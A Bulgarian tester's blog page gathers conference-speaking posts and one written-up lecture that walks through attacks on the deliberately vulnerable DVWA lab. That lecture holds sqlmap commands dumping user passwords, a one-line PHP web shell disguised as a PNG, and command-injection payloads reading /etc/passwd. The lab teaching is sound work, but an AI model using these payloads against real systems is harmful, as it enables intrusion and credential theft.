Category: Лекции

Ще бъда лектор на QA Challenge Accepted 10.0

TLDR – умря циганката та да се похваля – отново, за четвърти път (!!!), ще бъда лектор на юбилейното издание на QA: Challenge Accepted .

Преди стотина години (или по-точно 2018 г.) когато работих като QA в Немечек един ден когато бях в софийския офис Съби ме попита – “Недко, чувал ли си за QA: Challenge Accepted?”. Разбира се, че бях чувал и освен това много ми се искаше да отида. Тогава още не познавах нито Петър, нито Виктор, нито Милен нито още един куп хора, но бях чувал за тях и много исках да се видя, да науча каквото мога от тях.

Та Съби като един лидер ме погледна в очите и каза – “А искаш ли да споделиш твоя опит с останалите?”. Ако бях в латиноамерикански сериал щях да се хвана с обратното на дланта си за челото и да припадна на забавен кадър. Как така ще ходя да говоря ПРЕД ВСИЧКИТЕ ТЕЗИ ХОРА??? Не, не, отказах му любезно и той беше – “Ок, каквото те кара да се чувстваш щастлив”.

Да, обаче примамката беше пусната и само след няколко седмици препрочитайки всичко каквото мога за събитието и изгледайки всички възможни видеа (или поне по-важнте, айде да не преувеличавам) пак бях в София и му казах – “Правим го”. Успях да вляза в рамките на call for lectures и пуснах това, което ми беше интересно тогава – performance testing. Взеха, че ми харесаха идеята (аз бях в шок) и ето, че няколко месеца по-късно подпухнал от една седмица пиене с колегите излизам на сцената. Казах 1-2 вица, споделих няколко идеи и като цяло се чувствах добре на сцената.

2019 г. не пропуснах да се запиша с другата си страст и говорих за сигурност – “Security Testing – Fast Forward”.

2021 г. – мина време, ковиди, роди ми се първото дете – отново излязох на сцена и тогава изпитах нещо съвсем ново пред 700-те човека на живо и незнамсиколко онлайн гледайки стрийма. Тогава за пръв път получих паник атака на сцена докато говоря за това “Как да (не) говорим по конференции”. Иронично, м?

2022 г. пак кандидатствах и ме одобриха с темата с която ще говоря тази година, НО малкият ми син реши да се деплойне по-рано с няколко седмици и нямаше как да пътувам до София, дори и за ден.

Та ето ни 2024 г. и десетото, юбилейно издание – ще си говорим за QA, за DevOps, за моето приключение (нецензурирано зад – “всичко е страхотно” и е “цветя и рози”, а искрено и без ненужна полемика). Ще си поговорим защо реших да сменя професията си на 33 години и ще си говорим за това как QA ми помогна много за да мина на съседния бряг и да хвана DevOps за ушите с пълна сила.

Ще ви разкажа и как затрих една preprod база в първите си седмици, как на едно демо (пред 50-тина колеги в Немечек) си съборих целия клет VPS (който неиронично се нарича marvin от Пътеводителя (знаете защо)) и купчина истории за това кое ми е помогнало и как за да мога да се чувствам комфортно в позицията си на DevOps (и QA по душа) в TINQIN към този момент.

Това май трябваше да е епизод от подкаста, защото имам още 50 истории за разказване, но да не прекалявам.

Ще се видим на 28 септември на, около и под сцената на QA: Challenge Accepted , а тези, които искат да направим TCP handshake трябва да носят поне една бира за да има поне ACK (това от онзи дик джоук, който няма никакъв шанс да видите на лекцията).

Първата ми паник атака на сцена – ISTA 2019

Разказвал ли съм ви как бях лектор на ISTACon 2019?

Говорейки за мерака да се “похваля” и с първата ми паник атака на сцена. Не всичко е цветя и рози, хихи и хохо все пак.

2018 г. ходих като посетител на ISTACon и съответно network-нах very hard, тоест успях да говоря със 150 човека, да разкажа около 800 вица и да си говорим за тестване, деплойване, все мръсни неща.

Та към края вече socially exhausted отивам да си взема веченезнамкоекафезаденя и се срещам с Христо Гергов, с който си поговорихме и той накрая ми каза – “А ти защо не се пуснеш да участваш на ISTA 2019?” и си тръгна. Аз бях – naaaaah, това е мега конференцията как там ще загрозявам само картинката с моята красива физиономия”.

But the damage has been done. Христо явно добре познава човека като такъв и явно разбра как да ме агитира с едно изречение. Просто аз го осъзнах половин година по-късно. Та пуснах си кандидатурата за лекция и те взеха, че я одобриха. Същата година говорих на QAChallengeAccepted за Security testing и се пред DEV.BG за подобна тема та реших защо да не това да ми е темата на годината. Пуснах се с гръмкото “Security testing from wizard to lizard in 40 minutes”. Всичко добре, обаче аз си ходя на работа, конференции, карам колело, всякакви неща и се оказва, че може и да съм подготвен за лекцията, но психически май бях далеч.

И го казвам с ясното съзнание, че не ми прави услуга това, но както казах по-горе – не всичко е цветя и рози, фън енд геймс.

Дойде ред на ISTA (аз бях в края на втория ден) и започват да идват някакви ми ти CEO-та/CTO-та, някакви грамадни имена, Янчо от Мусала в това число, говорят за някакви извънземни неща, кой копал с години в някаква ниша, кой направил ебахти и постижението и … аз. Който ще говори за сигурност. Още си спомням колко смачкан се чувствах.

Вечерта дойде и направихме едно събиране на лекторите и няма да ви излъжа – беше страхотно (плюс, че е възможно да съм попрекалил и ходих да си търся метрото до Красна Поляна, но това друга тема).

За малко да забравя – на първия ден ни казаха, че лекциите задължително ще бъдат на английски. Това ме хвана неподготвен. Буфера от репетираната лекция заминава за това как да мисля думи и съчетания, да спазвам времена и да звуча адекватно. Фак.

Та идва ден две и ей го Недко. Сцената е страхотно оборудвана, светлините са 6 точки, фонове, а, у. Закачам лаптопа и Убунту ми каза – “Фак оф, аз full screen няма да ти пусна”. Микро инфаркт. Реших да не си го слагам толкова.

Всичко сетъпнато, излизам и … получих първата си паник атака на сцена. Богу това беше най-гадното нещо, което ми се е случвало до тогава.

Ако помните преди няколко години как Майкъл Бей (филмов директор, известен с филми като Bad Boys, Armageddon, Pearl Harbor, Transformers series и т.н.) получи паник атака на сцената на CES 2014? Е, явно никой не е застрахован.

В крайна сметка преодолях донякъде паник атаката си, но тия 20-тина минути ми се сториха буквално като час. Исках просто да си тръгна и повече никога да не изляза сред хора.

От 2019 г. до сега се изредиха много конференции, като съм говорил на много, включително и последното ми включване на QAChallengeAccepted като бяхме около 700 човека в залата (плюс няколкостотин гледайки стрийма) и не ми се случи пак.

Защо го пиша целия този ферман ще се зачудите? Защото всички сме хора, всички имаме потресаващо еднакви слабости, всеки иска да е перфектен (или близо до перфектното). Но се случват неща, които ни отдалечават от това да сме наистина добри в нещо (например аз в говоренето пред хора), но желанието и нуждата от себеразвитие ни бута напред. Ако бях решил да престана да говоря пред хора никога нямаше да говоря пред препълнената зала на dev.bg или пред онези 700 човека. И пред много други.

Та това, което можете да си вземете от моят опит е просто да си гоните вътрешното дете в себе си и по детски да се мятате в неща, които може да са мааааалко по-трудни от ежедневните ви неща (или много по-трудни). Ако успеете обаче ви обещавам, че чувството е ве-ли-ко-леп-но.

Ако усещате, че вече нямате нужда от себеразвитие и не ви се заниамва си дайте малко почивка – работата ни е натоварваща, трудна и ни взима много. За това и трябва да имаме време да дишаме и да си вземем нуждата от това да си кажем – “Абе … колко пък да е трудно”.

Ще бъда лектор на QAChallengeAccepted 2022

Еми таковата … по едно време бях си казал, че спирам с публичните изяви (освен клипчета в ютуб как свирим пияни заляни по фото студията), но желанието ми да споделям опит (и не – не е клише, което използвам по конференции/интервюта за работа, а наистина ме е грижа) явно е по-силно.

Ще е забавен септември предвид, че началото на Октомври чакаме бебенце номер две, а то може и да подрани по негово си желание, ще имам лекция, аз вече ще съм нагазил в много дълбокото в AWS, има шанс и да пътуваме… Burnout – добре дошъл :D

Тези дни ще запиша един епизод с повече детайли относно лекцията, но teaser-а е, че ще говоря повече за идеи отколкото за инструментариум, ще говорим и за кариера и какво следва след QA и общо взето смятам, че ще е полезна на доста хора.

И последно, че пак ще стане дълъг пост – когато си писах CV-то преди някакво време минах през секцията с лекции, които съм водил и учудващо за мен, но ми изплуваха някакви спомени за всички от 2016 насам и повечето – забавни. То нямаше една, която да кажа, че ми е било скучно :D Та ми се иска да направя един епизод за това, защото хората, които (искат да ) говорят предполагам ще им е полезно.

Говорих пред деца за ИТ и останах изумен

Миналата неделя бях поканен да споделя част от опита си със завършващите курса на https://kiber-one.bg с възрастова група от 6 до 14 и да раздам дипломите на най-малките. Реших да говоря за това как съм започнал аз, как любопитството ме е тласнало напред, как сме играли игри на черно-зелени екрани от дискети, как сме си писали сами игрите на BASIC и сме чели документация от хартиен носител, какво правя сега, сегментирането на сектора (често споменавам като говоря пред ученици това, че IT не е само програмиране, да им покажа част от спектъра включвайки дизайн, QA, програмиране, PM и т.н. и т.н.) съответно с опит това да звучи колкото се може по-близко до наруталния език.

Отивам в юнашкия дом във Варна и ме посрещат 50-тина деца, които си стоят по столовете и чакат, родителите бяха на втория етаж и все пак нямаше нито едно дърпане на коси, сбиване или лигавня. Повечето деца бяха в границата между 6 и 9 годишна възраст.

Започна събитието и имаше демо на 5 проекта на деца от 7 г. до 9 г. С огромен интерес наблюдавах какво правят децата и след второто демо си зачеркнах половината ключови думи по които щях да говоря. Нямаше да им кажа нищо ново. Демата бяха на Scratch и Tynker и след като едно момиченце на 7 години показа демо пред 100+ човека на имплементация на Flappy Bird в която си имаше своите условия, sprites, различни екрани и т.н. аз бях – “Чакай, чакай”, дойде друго дете, показа 3D модел на Tynker на слънчевата система с акуратни размери на планетите, орбитите и скоростта на движението им, показа кода, обясни го. Бях супер приятно изненадан.

Това, което видях са деца, които:

  • Правят неща, които им харесват
  • Могат да работят в екип
  • Имат логическо мислене
  • Разбират основите на програмирането
  • Имат презентационни умения и не изпадат в паника като говорят пред хора (за разлика от мен)
  • Разбират англисйки на ниво, което им върши работа

Ето, че има надежда, просто трябва да знаем накъде да гледаме.

Edit – Забравих да добавя, че след края на цялото нещо излизам от залата и едно момченце (7-8 да речем) се отдели от родителите си, дойде при мен и каза – “Господине, много хубава реч, хареса ми.” Прибрах се нахилен като пача. Явно е имало смисъл.

Мина QA: Challenge Accepted 6.0

Мина, мина, мина! Чаках този момент от няколко месеца вече и като мина се образува стандартния вакуум който си се появява след като сляза от сцената.

Този път публиката беше разделена на три основни части – в залата, отвън и online. Общо организаотирте казаха, че са били долу-горе колкото миналата година – малко над 700 човека (без тези, които после са гледали видеата).

Подготовката ми започна началото на годината и когато COVID-19 отложи конференцията за Септември бях се поотпуснал, но като стана Септември пак беше драма. Но този път контролирана драма. Този път научих токова много по темата, че смятам да направя първите 2-3 епизода на подкаста по темата с говорене пред публика. Смятам да говоря освен за нормалните неща като подготовка, soft & hard skills и за неща за които рядко се говори – какво е да стъпиш наистина на сцената, какво може да се счупи там (например аз чувах гласа си с около половин секунда закъснение и това ме счупи много).

Този път Златина беше с мен, беше първата ми big-scale conference с нея и това помогна доста. Дори после преживях доста по-лесно цялата комуникация с хората и видях красивото в неща, които не бях забелязвал.

Да, освен това имам разни новини за споделяне, които бавих, защото не измислих как да ги представя по интересен начин тук, защото този телеграфния не ми харесва изобщо.

Те така де, друго интересно е какъв импакт може да има и LinkedIn. Споделих преди няколко дни пост за конференцията и събра общо над 4600 views, 70-тина лайка и огромен брой читатели, които не са HR (което всъщност ме учуди най-много).

Те така де, очаквайте скоро по-подреден и panic-free епизод с основните точки от talk-а ми. Даже се замислям дали няма да е удачно да го изнеса (без техническите детайли) на TedX. Вие какво мислите?

P.S. Аз забравих най-важното, бе!

Линк към презентацията можете да намерите тук.

QA: Challenge Accepted 6.0 English podcast

A (not) so short English version of my talk “How (not) to talk at conferences” at QA: Challenge Accepted 6.0.

It’s my first episode of the series. On the next episodes of the series I’ll cover:

  • Soft skills
  • Hard skills
  • Practical presentation examples
  • Fighting a stage fright
  • memes!

Questions

If you have questions you can ask them on Discord or at https://sli.do/NedTalk

Ще бъда лектор на ISTA 2019

O shit, o shit, o shit. Вайкам се из апартамента докато Златина и котката Иво ме гледат като човек, който е изгубил разсъдака си (което не е далеч от истината по принцип).

Та да – бях одобрен да говоря на една от най-голямите конференции в България и на темата сигурност (но с повече мемета, обещавам!) – “Security testing – from lizard to wizard in 40 minutes”.

Освен нещата, които вече казах на QA: Challenge Accepted мисля да добавя малко по-advanced техники или да направя изцяло нова лекция. Вие какво мислите по въпроса? Какво ви е интересно?

Security testing – fast forward. The lecture

По-долу е лекцията, която изнесох на QA: Challenge Accepted 5.0. Различно е отсъствието на плоските шегички и малко по-подробната на места информация.

Като начало, вместо начало

Scope-а на лекцията е да демонстрира няколко добре известни атаки под формата на един общ процес. Това са:

  1. Да намерим потребителските имена и пароли в база, до която нямаме credentials;
  2. Да качим зловреден код прескачайки (добре) написана upload функционалност;
  3. Да изпълним кода и да получим съдържанието на произволен файл в системата.

Инструментариума, който ще използваме е:

Подготовка на средата:

Инсталацията на Docker и Python са като всяко друго windows next-next-finish приложение. След това идва драмата.

За да вдигнете цялата си среда, трябва в command prompt (start menu – cmd) да изтеглите docker repo-то:

https://hub.docker.com/r/vulnerables/web-dvwa/

Сега repo-то на DVWA заедно с апаче, база данни, PHP и една кофа неща са при вас. За да ги направите достъпни, трябва просто да стартирате контейнера:

docker run --rm -it -p 80:80 vulnerables/web-dvwa

1. SQL Injection

SQL Injection най-общо казано е възможност за изпълняване на нерегламентирани SQL statements като SELECT, UNION и т.н., които не са предвидени в текущата функционалност на приложението. С други думи ако параметризирате без подходяща валидация и/или санитизация някой параметър, може да има драма. Пример за драма:
GET request:

http://nedko.info/sql_injection/inj.php?drama=1

Кода, който работи отдолу:

$drama = $_GET[‘drama’];
$getDrama  = “SELECT * FROM vulnerabilities WHERE type = ‘$id’;”;

Ако въведете валидни данни всичко ще е супер, ноо (второто О е за допълнителна драма) ако счупите заявката ще стане любопитно.

Най-елементарния и емблематичен пример е Светия Апостроф. Ако набием един ‘ след параметъра ?drama=1’ ще строшим SQL заявката.

Пример в DVWA с класически SQL injection (линк към локалния DVWA – http://localhost/vulnerabilities/sqli/):

DVWA – SQL Injection, level 1

Но понеже живота на penetration tester-а (или на смъртния човек, който е решил да се занимава с това) не винаги е лесен (никога не е) и може вече някой програмист далновидно да е решил да направи валидация и да избегне този балъшки тест.

Тогава идва ред за нашето последно късче надежда или т.нар. Blind SQL Injection (или както след лекцията някой каза – Орхан Мурад SQL injection), който можете да намерите в менюто на DVWA – SQL Injection (Blind). По самото си същество това е същата уязвимост, но не получаваме веднага потвърждение от типа на бял екран или експлозия на еднорози. Но лесно можем да проверим какво става като отворим inspector-а на Chrome (естествено става и с всички други модерни браузъри, дори и с Онова, което никой не нарича браузър) и влезем в таб Network. Там ще минат всички request-и (POST/GET ни интересуват най-много, но ще видите и images, JS, CSS files и всичко от което има нужда ресурса, който сте отворили).

Сега като набиете един ‘ в полето “User ID” наблюдавайте какво ще се случи в Network Tab-а:

За да продължим към екшъна ще ни трябват и кукитата на скрипта, защото все пак, за да достигнем тази функционалност минахме през логин. Cookies можете мега лесно да намерите на същия екран, но в подтаб (има ли такава дума?) “Cookies”:

До момента използвахме само браузъра за нашите дребни шегички с администраторите. Сега е ред да използваме нещо по-могъщо – sqlmap.

Note – чудите се къде са SQL break characters, къде ви е cheatsheet-а с който можете с copy/paste да трошите сайтове? Понеже на лекцията имах само 25 минути нямаше време за това, няма да го покажа и тук (освен ако някой наистина иска да види какво става отдолу, тогава на драго сърце бих дописал статията с малко теория). За наше щастие sqlmap прави всичко за нас. Ние само трябва да му дадем параметъра, който смятаме за уязвим и cookie-тата, за да може инструмента да се “логне”. Туй то, както казваме в Добричко/Варненския край.

sqlmap – our secret weapon

За да подкарате sqlmap, трябва да имате първо Python. Инсталацията му е лесна и няма да имате грижи.

По ред на information gathering процеса ще запиша тук всичките стъпки, през които трябва да минем:

python ./sqlmap.py -u “http://localhost/vulnerabilities/sqli_blind/?id=1″ –cookie=”security=low; PHPSESSID=9s25ca7u16igehn17fl9id8i70” –dbs

Резултата:

available databases [2]:
[*] dvwa
[*] information_schema

И ето, че намерихме базата, която използва DVWA. Сега ще ровим още, за да получим имената на таблиците на същата база (ако новите и старите богове нямат нищо против):

./sqlmap.py -u “http://localhost/vulnerabilities/sqli_blind/?id=1″ –cookie=”security=low; PHPSESSID=9s25ca7u16igehn17fl9id8i70” -D dvwa –tables

Новите параметри тук са:

  • -D dvwa – казваме, че целта на нашата задача е база с име dvwa
  • –tables – покажи всички таблици от базата дефинирана по-горе.
Database: dvwa
[2 tables]
guestbook
users

И ето, че без много зор стигнахме до таблиците на база, за която нямаме никакви credentials. И понеже чичо Недко е нагляр по природа продължаваме да видим докъде можем да стигнем:

python ./sqlmap.py -u “http://localhost/vulnerabilities/sqli_blind/?id=1″ –cookie=”security=low; PHPSESSID=9s25ca7u16igehn17fl9id8i70” -D dvwa -T users –columns

Новите параметри тук са:

  • -T users – целта ни е таблица с име users;
  • –columns – покажи колоните на базата (това е нещо като show columns from [users] в mySQL).
Database: dvwa
Table: users
[8 columns]
Column – Type
user – varchar(15)
avatar – varchar(70)
failed_login – int(3)
first_name – varchar(15)
last_login – timestamp
last_name – varchar(15)
password – varchar(32)
user_id – int(6)

Note – можете да видите и payload-а, който sqlmap ще направи, ако сте от любопитните.

И ето, че имаме всичката нужна информация за базата и структурата ѝ:

  • DB name – dvwa;
  • DB tables – guestbook, users;
  • DB user columns – user, avatar, failed_login, first_name, last_login, password, user_id;
  • Таблици, които са ни интересни – user и password.

Извеждане на потребители и пароли и декрпитирането им

python sqlmap.py -u “http://localhost/vulnerabilities/sqli_blind/?id=1″ –cookie=”security=low; PHPSESSID=9s25ca7u16igehn17fl9id8i70” -C user,password –dump

Както забелязвате няма нужда да въвеждаме името на базата и таблицата тук, защото sqlmap си ги пази. Това значи, че ако решите да си reproduce-нете целия сценарии отново, трябва да минете през горните точки също.

И ето, че с последната команда направихме все едно един select user, password from users, взехме хешовете и направихме dictionary attack в който съпоставихме хешовете с тези в dictionary файла.
Естествено за демото паролите не бяха t@snipi4ki!, а тривиални, за да може да не използваме +10GB файлове и часове чакане, а покажем как работи sqlmap-а.

И ето, че потребителите, които имаме в базата са:

  • 1337/charley
  • admin/password
  • gordonb/abc123
  • pablo/letmein
  • smithy/password

С това нашата задача приключи. Продължаваме напред, Кобра, с:

File Upload manipulation

Малко тъпо заглавие, но друго не измислих. Идеята е, че ще направим малък трик, с който ще успеем да качим PHP файл, който ще представим за PNG и в последстиве ще преименуваме директно на сървъра с command injection, за да изпълним зловредния си код (зъл смях).

Преди време имах трудни периоди с един програмист, който пишеше upload форми като казахтстански опълченец – без никакви валидации освен разширението на файла. След десетки спорове стигнахме до консенсуса да ползваме getimagesize в PHP. Хитринката е, че освен размера на image-а функцията проверява и дали файла е от тип image или някой хитряга се опитва да върти номера. Тогава при моите си опити да кача нещо друго освен image, не увенчах успех. Но днес ще ви покажа как да прескочим и това.

Нашия зловреден код ще е убер прост:

<?php

system($_GET[‘cmd’]);

?>

Когато го качим на сървъра, ще можем да извикваме параметри през него все едно сме в конзолата:
http://localhost/hackable/uploads/hack.php?cmd=ls /

Преди това обаче свръх малко теория – подобни функции изчитат сигнатурата на файла, която е в началото му и ако срещнат съвпадащи такива с типа, за който се представя файла, го приемат за чиста монета.
До момента, в който някой не реши да смени тази сигнатура (laugh in Spanish).

За да редактираме сигнатурата на файл, ни трябва HEX редактор и PHP кода от по-горе запазен във файл с разширение PNG (в моя случай е hack.png). На по-старите кучета, които са живели във времето, в което това беше актуално, няма да обяснявам какво е, а за по-новите кучета – също. Просто си изтеглете WinHEX или който и да е друг подобен инструмент, отворете hack.png и от страницата File Signatures Table намерете PNG и го копирайте в началото на файла:

При paste изберете в диалоговия прозорец “ASCII Hex”.

И ето, че имаме handcrafted файл, който можем да си използваме да си тестваме upload формите.

Нека сега опитаме да качим файла през upload формата на DVWA:

И ето, че имаме качен успешно файла в две директории нагоре /hackable/uploads.
Ако сега го достъпим, браузъра ще се опита да отвори файла като image, но ще покаже някаква простотия. Пътя до файла е http://localhost/hackable/uploads/hack.png

Понеже сега не можем да изпълним PHP-то, идва ред на третата и последна атака, която ще направим днес:

Command Injection

Целта на тази атака е да намерим функционалност, която извиква директно команда от системата и да слепим с нея втора, която ние да си изберем. В конкретния случай ще преименуваме hack.png в hack.php.

Като цяло извикването на команда директно си е за бой, но ако извикате команда през PHP без да имате нужните валидации, сте за хвърляне зад Вала.
Както повечето атаки и тази разчита на липса на валидации за специфични кейсове. Атаката се осъществява мега лесно със знак за конкатенация. Пример за такива знаци има в кода на DVWA (ниво на трудност High):

Нашата нищожна атака ще е супер проста. Както виждате от примера по-горе на трети ред след| има интервал (демонстриращ, че човешката грешка също е важен показател). Тоест с | ще можем да слепим втора команда след валидно подадена такава (като не забравяме, че не трябва да има интервал след знака, за да не мине валицадията). Ето и пример с това как можем да видим системен файл директно от WEB чрез command injection:

localhost|cat /etc/passwd

И както виждате можем да видим съдържанието на системен файл без проблем, за това ще опитаме да преименуваме файла hack.png в hack.php и да го изпълним. Командата е:
localhost|mv ../../hackable/uploads/hack.png ../../hackable/uploads/hack.php

Не очаквайте винаги да има някакъв output от командите, които (се опитвате да) изпълнявате.

Изпълнението на зловещия план

След като създадохме файл, който специално обработихме, качихме и преименувахме, е време да го изпълним и да видим дали всичката тази играчка ще сработи. Ще се опитаме да видим съдържанието на конфигурационния файл на DVWA:

http://localhost/hackable/uploads/hack.php?cmd=cat%20/var/www/html/config/config.inc.php

След като го изпълните дайте view source (ctrl+u)

И ето, че с тези елементарни похвати успяхме да извлечем потребителските имена и пароли от базата на DVWA, да му прескочим upload формата и да изпълним произволна команда.

Линк с презентацията можете да намерите мааалко по-долу. Публикувам я as it is макар, че малко се счупи при импорта от PowerPoint към Google Slides. #Yolo (или както Исуската казва – #YOLT (you only live twice).

Заключение

На всички ни е ясно, че новите ORM frameworks например се грижат за SQL injection още на много ниско ниво, че command injections могат да се разрешат лесно с използването на почти произволен framework и правилна конфигурация, но всеки трябва да се замисли поне малко за сигурността, докато пише проложения, за да може тези, които го тестват да кимнат одобрително с глава и като го пуснат в production, да са поне една идея по-спокойни.

P.S. Ако ви е интересно мога да разпиша повече по темата с DVWA като XSS, CSRF, чупене на хешове с John the Ripper, сигурност в WordPress (скенери, атаки, как да се предпазим, а, у) и т.н.

P.S.S. Преди време говорих на WordPress meetup-а във Варна за сигурност, ако ви е интересно – има повечко системни неща, има и dictionary attack-а и подобни:

Ще бъда лектор на QA: Challenge Accepted 5.0

Ииии ето, че тази година пак ще говоря на QA: Challenge Accepted.

Този формат е най-трудното нещо, което правя последните 2 години – приемам го доста насериозно и предния път ми отне немалко време и енергия да се подготвя.

Тази година темата ми ще е “Security Testing – Fast Forward” и ще продължи само 25 минути. Кандидатствах с две лекции – едната беше по-интересна и дълга (40 минути) и носеше по-епичното заглавие – “From lizard to wizard”.

И така – ще се срещнем с вас на 13 Април в София Тех Парк.

P.S. Ако на някой му е интересно нещо по темата нека пише тук и ако мога бих го включил в лекцията.

P.S. По време на лекцията ще има и малка изненада тук в блога.